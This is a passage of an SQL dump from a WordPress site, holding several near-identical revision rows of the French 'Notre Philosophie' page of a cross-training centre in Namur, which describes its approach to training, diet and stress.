/&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:14:58', '2013-07-04 19:14:58', '', 5, 'http://www.crosstrainingcenter.be/5-revision-49/', 0, 'revision', '', 0),
(304, 1, '2013-07-04 19:15:48', '2013-07-04 19:15:48', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 20px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:15:48', '2013-07-04 19:15:48', '', 5, 'http://www.crosstrainingcenter.be/5-revision-50/', 0, 'revision', '', 0),
(305, 1, '2013-07-04 19:16:05', '2013-07-04 19:16:05', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 900px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:16:05', '2013-07-04 19:16:05', '', 5, 'http://www.crosstrainingcenter.be/5-revision-51/', 0, 'revision', '', 0),
(306, 1, '2013-07-04 19:16:23', '2013-07-04 19:16:23', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:16:23', '2013-07-04 19:16:23', '', 5, 'http://www.crosstrainingcenter.be/5-revision-52/', 0, 'revision', '', 0);
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(307, 1, '2013-07-04 19:16:45', '2013-07-04 19:16:45', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:16:45', '2013-07-04 19:16:45', '', 5, 'http://www.crosstrainingcenter.be/5-revision-53/', 0, 'revision', '', 0),
(308, 1, '2013-07-04 19:17:07', '2013-07-04 19:17:07', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 350px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:07', '2013-07-04 19:17:07', '', 5, 'http://www.crosstrainingcenter.be/5-revision-54/', 0, 'revision', '', 0),
(309, 1, '2013-07-04 19:17:25', '2013-07-04 19:17:25', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 310px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:25', '2013-07-04 19:17:25', '', 5, 'http://www.crosstrainingcenter.be/5-revision-55/', 0, 'revision', '', 0),
(310, 1, '2013-07-04 19:17:38', '2013-07-04 19:17:38', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la 